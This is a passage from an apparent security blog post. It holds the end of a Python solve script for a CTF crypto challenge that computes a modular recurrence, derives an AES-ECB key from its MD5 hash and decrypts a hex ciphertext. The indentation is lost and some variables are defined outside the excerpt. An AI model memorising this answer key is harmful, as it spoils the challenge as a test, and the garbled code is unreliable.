8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005,

5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052,

9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050,

6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410,

3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626,

2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738,

10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]

n = 2023

def seqsum(i):

if i in memo:

return memo[i]

ans = 0

for j in range(len(seq)):

ans += gp.powmod(i, j, m) * seq[j]

memo[i] = ans

return ans

def homework(i):

if i in memo:

return memo[i]

if i == 1:

result = 1

elif i == 2:

result = 1

else:

result = (a * homework(i - 1) + b * homework(i - 2) + seqsum(i)) % m

memo[i] = result

return result

result = homework(2023)

ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'

from Crypto.Cipher import AES

from binascii import *

from hashlib import *

k = unhexlify(md5(str(result).encode()).hexdigest())

aes = AES.new(k, AES.MODE_ECB)

aes = AES.new(key=k, mode=AES.MODE_ECB)

print(aes.decrypt(unhexlify(ct)))

posted @ 2023-06-13 09:18  渗透测试中心  阅读(477)  评论(0编辑  收藏  举报